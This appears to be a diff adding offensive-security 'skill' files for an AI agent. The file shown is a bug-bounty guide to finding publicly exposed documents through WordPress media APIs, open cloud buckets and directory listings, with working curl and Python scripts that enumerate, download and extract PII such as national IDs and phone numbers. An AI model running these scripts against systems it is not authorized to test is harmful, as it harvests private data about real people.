- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,589 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: sensitive-file-pii-exposure
|
|
5
|
+
description: Detect and confirm publicly accessible sensitive documents (PDFs, DOCX, XLSX, images) containing PII via CMS REST APIs, cloud storage, directory listings, and misconfigured file servers — with PII extraction and country-specific ID pattern matching
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Sensitive File & PII Exposure via Public Document Access
|
|
9
|
+
|
|
10
|
+
Sensitive document exposure is consistently one of the highest-impact, easiest-to-confirm bug bounty findings. The pattern is always the same:
|
|
11
|
+
1. Application stores sensitive documents in a publicly reachable location
|
|
12
|
+
2. An index/enumeration mechanism (CMS REST API, S3 listing, directory index) is also public
|
|
13
|
+
3. Document filenames or content contain PII (names, national IDs, phone numbers, financial data)
|
|
14
|
+
|
|
15
|
+
This is classified as a HIGH/CRITICAL finding under OWASP API3 (Excessive Data Exposure) and triggers privacy regulation implications (GDPR, PDPA, CCPA, Indonesia PDP Law, etc.).
|
|
16
|
+
|
|
17
|
+
**Reasoning required:** This vulnerability class requires multi-step reasoning:
|
|
18
|
+
- Identify the enumeration vector (not just "file exists" — how to enumerate MANY files)
|
|
19
|
+
- Understand filename patterns that signal sensitive content
|
|
20
|
+
- Confirm content via sampling (download + extract + verify PII)
|
|
21
|
+
- Bound the scope (how many files, how many individuals affected)
|
|
22
|
+
- Assess regulatory context (which data protection law applies)
|
|
23
|
+
|
|
24
|
+
---
|
|
25
|
+
|
|
26
|
+
## STEP 1 — Identify Enumeration Vectors
|
|
27
|
+
|
|
28
|
+
The following surfaces expose file inventories unauthenticated:
|
|
29
|
+
|
|
30
|
+
```bash
|
|
31
|
+
TARGET="https://TARGET"
|
|
32
|
+
|
|
33
|
+
# === 1. WordPress REST API Media ===
|
|
34
|
+
curl -sk "$TARGET/wp-json/wp/v2/media?per_page=100&page=1" \
|
|
35
|
+
-H "Accept: application/json" | python3 -m json.tool | head -50
|
|
36
|
+
|
|
37
|
+
# Filter by sensitive MIME types
|
|
38
|
+
for mime in "application/pdf" "application/vnd.openxmlformats-officedocument.wordprocessingml.document" "application/vnd.ms-excel" "image/jpeg"; do
|
|
39
|
+
count=$(curl -sk "$TARGET/wp-json/wp/v2/media?mime_type=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$mime'))")&per_page=1" \
|
|
40
|
+
-H "Accept: application/json" \
|
|
41
|
+
| python3 -c "import sys,json; d=json.load(sys.stdin); print(len(d) if isinstance(d,list) else 'err')" 2>/dev/null)
|
|
42
|
+
echo "$mime: $count results"
|
|
43
|
+
done
|
|
44
|
+
|
|
45
|
+
# === 2. S3/GCS/Azure Blob Public Bucket Listing ===
|
|
46
|
+
# S3 bucket listing (XML index)
|
|
47
|
+
curl -sk "https://<bucket>.s3.amazonaws.com/?list-type=2&prefix=uploads/&max-keys=100" \
|
|
48
|
+
| python3 -c "
|
|
49
|
+
import sys, xml.etree.ElementTree as ET
|
|
50
|
+
tree = ET.parse(sys.stdin)
|
|
51
|
+
ns = {'s3': 'http://s3.amazonaws.com/doc/2006-03-01/'}
|
|
52
|
+
for key in tree.findall('.//s3:Key', ns):
|
|
53
|
+
print(key.text)
|
|
54
|
+
"
|
|
55
|
+
|
|
56
|
+
# GCS public bucket
|
|
57
|
+
curl -sk "https://storage.googleapis.com/<bucket>?prefix=uploads/&maxResults=100" \
|
|
58
|
+
| python3 -c "
|
|
59
|
+
import sys, json
|
|
60
|
+
data = json.load(sys.stdin)
|
|
61
|
+
for item in data.get('items', []):
|
|
62
|
+
print(item.get('name'), item.get('mediaLink'))
|
|
63
|
+
"
|
|
64
|
+
|
|
65
|
+
# === 3. Directory Listing (Apache/Nginx autoindex) ===
|
|
66
|
+
# Check if /wp-content/uploads/ has directory listing
|
|
67
|
+
curl -sk "$TARGET/wp-content/uploads/" | grep -oP 'href="([^"]+\.(pdf|docx|xlsx|jpg|png))"' \
|
|
68
|
+
| tr -d '"' | sed 's/href=//' | head -30
|
|
69
|
+
|
|
70
|
+
# Recursive with wget
|
|
71
|
+
# wget -r -l2 --no-parent -A "*.pdf,*.docx" "$TARGET/uploads/" 2>/dev/null
|
|
72
|
+
|
|
73
|
+
# === 4. Direct Cloud Storage URL Pattern Testing ===
|
|
74
|
+
# After finding one file URL, guess the pattern
|
|
75
|
+
# Example: https://cdn.target.com/uploads/consent-form-UserName-12345678.pdf
|
|
76
|
+
# → Try: https://cdn.target.com/uploads/ (listing?)
|
|
77
|
+
# → Try: https://s3-region.amazonaws.com/bucket-name/?prefix=uploads/
|
|
78
|
+
|
|
79
|
+
# === 5. sitemap.xml / robots.txt Leaking File Paths ===
|
|
80
|
+
curl -sk "$TARGET/sitemap.xml" | grep -oP 'https?://[^<]+\.(pdf|docx|xlsx)' | head -20
|
|
81
|
+
curl -sk "$TARGET/robots.txt" | grep -iE 'disallow.*upload|disallow.*document|disallow.*media'
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
---
|
|
85
|
+
|
|
86
|
+
## STEP 2 — WordPress REST API Full Media Enumeration
|
|
87
|
+
|
|
88
|
+
The `/wp-json/wp/v2/media` endpoint is the most reliable vector for WordPress targets:
|
|
89
|
+
|
|
90
|
+
```python
|
|
91
|
+
# tools/wp_media_enum.py
|
|
92
|
+
"""
|
|
93
|
+
Enumerate all media via WordPress REST API.
|
|
94
|
+
Collect: media_id, mime_type, source_url, filename, date_uploaded
|
|
95
|
+
Filter for: PDFs, DOCX, XLSX, and any file with a name that suggests PII.
|
|
96
|
+
"""
|
|
97
|
+
import urllib.request, urllib.error, ssl, json, re
|
|
98
|
+
from urllib.parse import unquote
|
|
99
|
+
|
|
100
|
+
ctx = ssl.create_default_context()
|
|
101
|
+
ctx.check_hostname = False
|
|
102
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
103
|
+
|
|
104
|
+
TARGET = "TARGET_PLACEHOLDER" # Replace with actual target
|
|
105
|
+
|
|
106
|
+
# PII filename patterns (apply to ALL languages/countries)
|
|
107
|
+
PII_FILENAME_PATTERNS = [
|
|
108
|
+
# National ID / government ID patterns
|
|
109
|
+
r'\b\d{12,18}\b', # Indonesia NIK (16 digits), long ID numbers
|
|
110
|
+
r'\b[A-Z]{1,2}\d{6,9}\b', # Passport-style: A1234567
|
|
111
|
+
r'\b\d{3}-\d{2}-\d{4}\b', # US SSN format
|
|
112
|
+
r'\b\d{2}\.\d{2}\.\d{2}\.\d{6}\b', # Some EU ID formats
|
|
113
|
+
|
|
114
|
+
# Document type keywords in filename
|
|
115
|
+
r'(?i)(consent|ktp|nik|passport|id.card|identity|id.number)',
|
|
116
|
+
r'(?i)(personal.data|pii|private|confidential|sensitive)',
|
|
117
|
+
r'(?i)(form|agreement|contract|application)',
|
|
118
|
+
|
|
119
|
+
# Name + number patterns (e.g., "Consent Form - John Doe - 1234567890.pdf")
|
|
120
|
+
r'(?i)[a-z]+ [a-z]+ - \d{6,}',
|
|
121
|
+
r'(?i)\d{6,} - [a-z]+ [a-z]+',
|
|
122
|
+
|
|
123
|
+
# Medical / financial
|
|
124
|
+
r'(?i)(medical|health|insurance|payment|invoice|salary|bank.statement)',
|
|
125
|
+
r'(?i)(ssn|nric|ic.number|id.number|citizen)',
|
|
126
|
+
]
|
|
127
|
+
|
|
128
|
+
SENSITIVE_MIME_TYPES = [
|
|
129
|
+
"application/pdf",
|
|
130
|
+
"application/msword",
|
|
131
|
+
"application/vnd.openxmlformats-officedocument.wordprocessingml.document",
|
|
132
|
+
"application/vnd.ms-excel",
|
|
133
|
+
"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
|
|
134
|
+
"application/vnd.ms-powerpoint",
|
|
135
|
+
"text/csv",
|
|
136
|
+
]
|
|
137
|
+
|
|
138
|
+
def is_pii_filename(filename):
|
|
139
|
+
"""Check if filename suggests PII content"""
|
|
140
|
+
for pattern in PII_FILENAME_PATTERNS:
|
|
141
|
+
if re.search(pattern, filename):
|
|
142
|
+
return True
|
|
143
|
+
return False
|
|
144
|
+
|
|
145
|
+
def enumerate_media(base_url, mime_type=None, max_pages=10):
|
|
146
|
+
"""Enumerate all media items from WordPress REST API"""
|
|
147
|
+
all_items = []
|
|
148
|
+
page = 1
|
|
149
|
+
|
|
150
|
+
while page <= max_pages:
|
|
151
|
+
params = f"per_page=100&page={page}&orderby=date&order=desc"
|
|
152
|
+
if mime_type:
|
|
153
|
+
import urllib.parse
|
|
154
|
+
params += f"&mime_type={urllib.parse.quote(mime_type)}"
|
|
155
|
+
|
|
156
|
+
url = f"{base_url}/wp-json/wp/v2/media?{params}"
|
|
157
|
+
req = urllib.request.Request(url, headers={
|
|
158
|
+
"User-Agent": "Mozilla/5.0",
|
|
159
|
+
"Accept": "application/json"
|
|
160
|
+
})
|
|
161
|
+
try:
|
|
162
|
+
with urllib.request.urlopen(req, timeout=15, context=ctx) as r:
|
|
163
|
+
items = json.loads(r.read())
|
|
164
|
+
if not items:
|
|
165
|
+
break
|
|
166
|
+
all_items.extend(items)
|
|
167
|
+
|
|
168
|
+
# Check X-WP-TotalPages header for total
|
|
169
|
+
total_pages = int(r.headers.get("X-WP-TotalPages", 1))
|
|
170
|
+
total_items = int(r.headers.get("X-WP-Total", 0))
|
|
171
|
+
print(f" Page {page}/{total_pages} — {len(all_items)}/{total_items} items")
|
|
172
|
+
|
|
173
|
+
if page >= total_pages:
|
|
174
|
+
break
|
|
175
|
+
page += 1
|
|
176
|
+
except urllib.error.HTTPError as e:
|
|
177
|
+
if e.code == 400:
|
|
178
|
+
break # No more pages
|
|
179
|
+
print(f"Error: {e.code} {e.read().decode()[:100]}")
|
|
180
|
+
break
|
|
181
|
+
except Exception as ex:
|
|
182
|
+
print(f"Error: {ex}")
|
|
183
|
+
break
|
|
184
|
+
|
|
185
|
+
return all_items
|
|
186
|
+
|
|
187
|
+
def analyze_media_items(items):
|
|
188
|
+
"""Filter and analyze items for PII indicators"""
|
|
189
|
+
sensitive = []
|
|
190
|
+
for item in items:
|
|
191
|
+
src = item.get("source_url", "")
|
|
192
|
+
filename = unquote(src.split("/")[-1]) if src else ""
|
|
193
|
+
mime = item.get("mime_type", "")
|
|
194
|
+
media_id = item.get("id", "")
|
|
195
|
+
|
|
196
|
+
pii_flag = is_pii_filename(filename)
|
|
197
|
+
sensitive_mime = mime in SENSITIVE_MIME_TYPES
|
|
198
|
+
|
|
199
|
+
if pii_flag or sensitive_mime:
|
|
200
|
+
sensitive.append({
|
|
201
|
+
"id": media_id,
|
|
202
|
+
"filename": filename,
|
|
203
|
+
"mime": mime,
|
|
204
|
+
"url": src,
|
|
205
|
+
"pii_in_filename": pii_flag,
|
|
206
|
+
})
|
|
207
|
+
return sensitive
|
|
208
|
+
|
|
209
|
+
# Run enumeration
|
|
210
|
+
print(f"=== Enumerating WordPress media: {TARGET} ===")
|
|
211
|
+
print("\n[1] All PDFs...")
|
|
212
|
+
pdf_items = enumerate_media(TARGET, mime_type="application/pdf")
|
|
213
|
+
print(f"Total PDFs found: {len(pdf_items)}")
|
|
214
|
+
|
|
215
|
+
print("\n[2] All documents (DOCX/XLSX)...")
|
|
216
|
+
docx_items = enumerate_media(TARGET, mime_type="application/vnd.openxmlformats-officedocument.wordprocessingml.document")
|
|
217
|
+
print(f"Total DOCX found: {len(docx_items)}")
|
|
218
|
+
|
|
219
|
+
all_sensitive = analyze_media_items(pdf_items + docx_items)
|
|
220
|
+
print(f"\n=== Sensitive Candidates: {len(all_sensitive)} ===")
|
|
221
|
+
for item in all_sensitive[:20]:
|
|
222
|
+
print(f" [{'PII' if item['pii_in_filename'] else 'DOC'}] {item['filename']}")
|
|
223
|
+
print(f" URL: {item['url']}")
|
|
224
|
+
print(f" Media ID: {item['id']}")
|
|
225
|
+
|
|
226
|
+
# Save for step 3
|
|
227
|
+
with open("output/wp_sensitive_media.json", "w") as f:
|
|
228
|
+
json.dump(all_sensitive, f, indent=2)
|
|
229
|
+
print(f"\nSaved to output/wp_sensitive_media.json")
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
```bash
|
|
233
|
+
# Replace TARGET_PLACEHOLDER with actual target, then run:
|
|
234
|
+
sed -i 's|TARGET_PLACEHOLDER|https://TARGET|' tools/wp_media_enum.py
|
|
235
|
+
python3 tools/wp_media_enum.py | tee output/wp_media_enum.txt
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
---
|
|
239
|
+
|
|
240
|
+
## STEP 3 — Confirm PII by Downloading and Extracting Document Content
|
|
241
|
+
|
|
242
|
+
```python
|
|
243
|
+
# tools/confirm_pii_in_docs.py
|
|
244
|
+
"""
|
|
245
|
+
Download a sample of flagged documents and extract text to confirm PII.
|
|
246
|
+
Uses pdftotext for PDFs, python-docx for DOCX, openpyxl for XLSX.
|
|
247
|
+
Masks sensitive values in output (report-safe).
|
|
248
|
+
"""
|
|
249
|
+
import json, re, subprocess, tempfile, os, ssl, urllib.request, urllib.error
|
|
250
|
+
|
|
251
|
+
ctx = ssl.create_default_context()
|
|
252
|
+
ctx.check_hostname = False
|
|
253
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
254
|
+
|
|
255
|
+
# PII field labels (multilingual) — add more as needed
|
|
256
|
+
PII_FIELD_LABELS = {
|
|
257
|
+
# Indonesian
|
|
258
|
+
"nama_lengkap": r'[Nn]ama\s+[Ll]engkap[\s\S]{0,50}?(?:KTP|:)',
|
|
259
|
+
"nik": r'\bNIK\b[\s:]*',
|
|
260
|
+
"ktp": r'\bKTP\b[\s:]*',
|
|
261
|
+
"tanggal_lahir": r'(?i)tanggal\s+lahir[\s:]*',
|
|
262
|
+
"alamat": r'(?i)alamat[\s:]*',
|
|
263
|
+
"no_hp": r'(?i)(?:no\.?\s*hp|nomor\s+telepon|phone)[\s:]*',
|
|
264
|
+
# English
|
|
265
|
+
"full_name": r'(?i)(?:full\s+name|name\s+\(.*?\))[\s:]*',
|
|
266
|
+
"national_id": r'(?i)(?:national\s+id|id\s+number|identity\s+number)[\s:]*',
|
|
267
|
+
"date_of_birth": r'(?i)(?:date\s+of\s+birth|dob|born)[\s:]*',
|
|
268
|
+
"email": r'(?i)e-?mail\s*address[\s:]*',
|
|
269
|
+
"phone": r'(?i)(?:phone|mobile|contact\s+number)[\s:]*',
|
|
270
|
+
# Financial
|
|
271
|
+
"account_number": r'(?i)(?:account\s+number|bank\s+account|rekening)[\s:]*',
|
|
272
|
+
"card_number": r'(?i)(?:card\s+number|credit\s+card|debit\s+card)[\s:]*',
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
# PII value patterns for masking
|
|
276
|
+
MASK_PATTERNS = [
|
|
277
|
+
(r'\b(\d{4})\d{8,10}(\d{4})\b', r'\1…\2'), # 16-digit ID: show first 4 + last 4
|
|
278
|
+
(r'\b(\d{3})-\d{2}-(\d{4})\b', r'\1-xx-\2'), # US SSN
|
|
279
|
+
(r'\b([A-Za-z0-9._%+-]+)@([A-Za-z0-9.-]+\.[a-z]{2,})\b',
|
|
280
|
+
lambda m: m.group(1)[:2] + "***@" + m.group(2)), # Email
|
|
281
|
+
(r'\b(\+?\d{1,3}[\s-]?)(\d{3,4})[\s-]?\d{3,4}[\s-]?\d{4}\b',
|
|
282
|
+
r'\1\2-****'), # Phone
|
|
283
|
+
]
|
|
284
|
+
|
|
285
|
+
def mask_pii(text):
|
|
286
|
+
"""Apply PII masking for safe output/reporting"""
|
|
287
|
+
for pattern, replacement in MASK_PATTERNS:
|
|
288
|
+
if callable(replacement):
|
|
289
|
+
text = re.sub(pattern, replacement, text)
|
|
290
|
+
else:
|
|
291
|
+
text = re.sub(pattern, replacement, text)
|
|
292
|
+
return text
|
|
293
|
+
|
|
294
|
+
def extract_pdf_text(pdf_bytes):
|
|
295
|
+
"""Extract text from PDF using pdftotext"""
|
|
296
|
+
with tempfile.NamedTemporaryFile(suffix='.pdf', delete=False) as f:
|
|
297
|
+
f.write(pdf_bytes)
|
|
298
|
+
tmp_path = f.name
|
|
299
|
+
try:
|
|
300
|
+
result = subprocess.run(
|
|
301
|
+
['pdftotext', tmp_path, '-'],
|
|
302
|
+
capture_output=True, timeout=30
|
|
303
|
+
)
|
|
304
|
+
return result.stdout.decode('utf-8', 'ignore')
|
|
305
|
+
except FileNotFoundError:
|
|
306
|
+
# Fallback: try strings command
|
|
307
|
+
result = subprocess.run(['strings', tmp_path], capture_output=True)
|
|
308
|
+
return result.stdout.decode('utf-8', 'ignore')
|
|
309
|
+
finally:
|
|
310
|
+
os.unlink(tmp_path)
|
|
311
|
+
|
|
312
|
+
def extract_docx_text(docx_bytes):
|
|
313
|
+
"""Extract text from DOCX"""
|
|
314
|
+
try:
|
|
315
|
+
import zipfile, io
|
|
316
|
+
with zipfile.ZipFile(io.BytesIO(docx_bytes)) as z:
|
|
317
|
+
with z.open('word/document.xml') as doc:
|
|
318
|
+
xml = doc.read().decode('utf-8', 'ignore')
|
|
319
|
+
# Strip XML tags
|
|
320
|
+
text = re.sub(r'<[^>]+>', ' ', xml)
|
|
321
|
+
return ' '.join(text.split())
|
|
322
|
+
except Exception as ex:
|
|
323
|
+
return f"Error: {ex}"
|
|
324
|
+
|
|
325
|
+
def confirm_pii_in_document(url, mime_type):
|
|
326
|
+
"""Download document and confirm PII presence"""
|
|
327
|
+
result = {"url": url, "pii_found": [], "excerpt": ""}
|
|
328
|
+
|
|
329
|
+
# Encode URL properly
|
|
330
|
+
from urllib.parse import quote, unquote, urlparse
|
|
331
|
+
parsed = urlparse(url)
|
|
332
|
+
safe_path = '/'.join(quote(unquote(seg), safe='') for seg in parsed.path.split('/'))
|
|
333
|
+
safe_url = f"{parsed.scheme}://{parsed.netloc}{safe_path}"
|
|
334
|
+
|
|
335
|
+
try:
|
|
336
|
+
req = urllib.request.Request(safe_url, headers={"User-Agent": "Mozilla/5.0"})
|
|
337
|
+
with urllib.request.urlopen(req, timeout=30, context=ctx) as r:
|
|
338
|
+
doc_bytes = r.read()
|
|
339
|
+
except Exception as ex:
|
|
340
|
+
result["error"] = str(ex)
|
|
341
|
+
return result
|
|
342
|
+
|
|
343
|
+
# Extract text
|
|
344
|
+
if "pdf" in mime_type:
|
|
345
|
+
text = extract_pdf_text(doc_bytes)
|
|
346
|
+
elif "docx" in mime_type or "wordprocessing" in mime_type:
|
|
347
|
+
text = extract_docx_text(doc_bytes)
|
|
348
|
+
else:
|
|
349
|
+
text = doc_bytes.decode('utf-8', 'ignore')
|
|
350
|
+
|
|
351
|
+
# Check for PII field labels
|
|
352
|
+
for label, pattern in PII_FIELD_LABELS.items():
|
|
353
|
+
match = re.search(pattern, text)
|
|
354
|
+
if match:
|
|
355
|
+
# Get context around match (20 chars before, 40 chars after)
|
|
356
|
+
start = max(0, match.start() - 10)
|
|
357
|
+
end = min(len(text), match.end() + 50)
|
|
358
|
+
context = text[start:end].replace('\n', ' ').strip()
|
|
359
|
+
result["pii_found"].append({
|
|
360
|
+
"field": label,
|
|
361
|
+
"context": mask_pii(context)
|
|
362
|
+
})
|
|
363
|
+
|
|
364
|
+
# Generate masked excerpt
|
|
365
|
+
masked_text = mask_pii(text)
|
|
366
|
+
lines = [l.strip() for l in masked_text.splitlines() if l.strip()]
|
|
367
|
+
result["excerpt"] = "\n".join(lines[:15])
|
|
368
|
+
result["total_text_length"] = len(text)
|
|
369
|
+
|
|
370
|
+
return result
|
|
371
|
+
|
|
372
|
+
# Load candidates from step 2
|
|
373
|
+
with open("output/wp_sensitive_media.json") as f:
|
|
374
|
+
candidates = json.load(f)
|
|
375
|
+
|
|
376
|
+
print(f"=== Confirming PII in {min(5, len(candidates))} sample documents ===")
|
|
377
|
+
confirmed = []
|
|
378
|
+
|
|
379
|
+
for item in candidates[:5]: # Sample first 5
|
|
380
|
+
print(f"\nChecking: {item['filename']}")
|
|
381
|
+
result = confirm_pii_in_document(item['url'], item['mime'])
|
|
382
|
+
|
|
383
|
+
if result.get("pii_found"):
|
|
384
|
+
print(f" [PII CONFIRMED] Fields found: {[p['field'] for p in result['pii_found']]}")
|
|
385
|
+
for pii in result["pii_found"]:
|
|
386
|
+
print(f" {pii['field']}: {pii['context']}")
|
|
387
|
+
confirmed.append({**item, "pii_confirmed": True, "pii_fields": result["pii_found"]})
|
|
388
|
+
else:
|
|
389
|
+
print(f" [NO PII] Text length: {result.get('total_text_length', 0)}")
|
|
390
|
+
print(f" Excerpt: {result.get('excerpt', '')[:200]}")
|
|
391
|
+
|
|
392
|
+
print(f"\n=== CONFIRMED: {len(confirmed)}/{min(5, len(candidates))} documents contain PII ===")
|
|
393
|
+
with open("output/pii_confirmed.json", "w") as f:
|
|
394
|
+
json.dump(confirmed, f, indent=2)
|
|
395
|
+
```
|
|
396
|
+
|
|
397
|
+
```bash
|
|
398
|
+
python3 tools/confirm_pii_in_docs.py | tee output/pii_confirmation.txt
|
|
399
|
+
```
|
|
400
|
+
|
|
401
|
+
---
|
|
402
|
+
|
|
403
|
+
## STEP 4 — Quantify Scope (Total Affected Individuals)
|
|
404
|
+
|
|
405
|
+
```python
|
|
406
|
+
# tools/quantify_pii_scope.py
|
|
407
|
+
"""
|
|
408
|
+
Estimate how many individuals are affected.
|
|
409
|
+
Strategy: count total documents, analyze filename uniqueness patterns,
|
|
410
|
+
estimate unique individuals from naming conventions.
|
|
411
|
+
"""
|
|
412
|
+
import json, re
|
|
413
|
+
from urllib.parse import unquote
|
|
414
|
+
|
|
415
|
+
with open("output/wp_sensitive_media.json") as f:
|
|
416
|
+
items = json.load(f)
|
|
417
|
+
|
|
418
|
+
# Analyze filename patterns to estimate unique individuals
|
|
419
|
+
unique_id_patterns = set()
|
|
420
|
+
files_with_ids = 0
|
|
421
|
+
|
|
422
|
+
for item in items:
|
|
423
|
+
fn = item.get("filename", "")
|
|
424
|
+
ids = re.findall(r'\b\d{12,18}\b', fn)
|
|
425
|
+
if ids:
|
|
426
|
+
unique_id_patterns.update(ids)
|
|
427
|
+
files_with_ids += 1
|
|
428
|
+
|
|
429
|
+
print(f"Total sensitive documents: {len(items)}")
|
|
430
|
+
print(f"Documents with ID numbers in filename: {files_with_ids}")
|
|
431
|
+
print(f"Unique ID numbers found in filenames: {len(unique_id_patterns)}")
|
|
432
|
+
